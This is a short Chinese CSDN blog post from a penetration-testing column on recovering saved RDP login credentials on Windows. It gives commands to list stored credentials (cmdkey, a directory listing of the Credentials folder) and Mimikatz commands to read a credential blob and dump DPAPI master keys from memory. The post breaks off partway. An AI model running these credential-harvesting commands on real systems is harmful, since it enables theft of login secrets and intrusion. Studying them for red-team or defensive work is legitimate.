RDP 总结（二）：登录凭据获取

最新推荐文章于 2024-05-15 18:18:40 发布

prettyX

最新推荐文章于 2024-05-15 18:18:40 发布

阅读量1k

点赞数

分类专栏：内网渗透

本文链接：https://blog.csdn.net/prettyX/article/details/119838153

版权

本文介绍了如何在用户通过RDP保存登录凭据后，使用Mimikatz和NetPass工具来获取和解密这些凭据的详细步骤。通过Mimikatz执行特定命令获取guidMasterKey和MasterKey，然后解密指定凭据，同时提到了NirSoft的NetPass工具作为另一种抓取凭据的方法。

摘要由CSDN通过智能技术生成

当用户在RDP登录时点击了保存登录凭据，获取凭据可以使用以下几种方法

查看是否存在RDP凭据

#查看mstsc的连接记录
cmdkey /list

#查找本地的Credentials
dir /a %userprofile%\appdata\local\microsoft\credentials\*

Mimikatz

存在的话，使用Mimikatz，执行以下命令，记录guidMasterKey值

mimikatz.exe "privilege::debug" "dpapi::cred /in:C:\Users\administrator.TEST\appdata\local\microsoft\credentials\AFCD2DF5CFF3011965E57ABB0ED64240"

接着，再执行如下命令，找到guidMasterKey对应的MasterKey

mimikatz.exe "privilege::debug" "sekurlsa::dpapi"

确定要放弃本次机会？

福利倒计时

: :

立减 ¥

普通VIP年卡可用

关注关注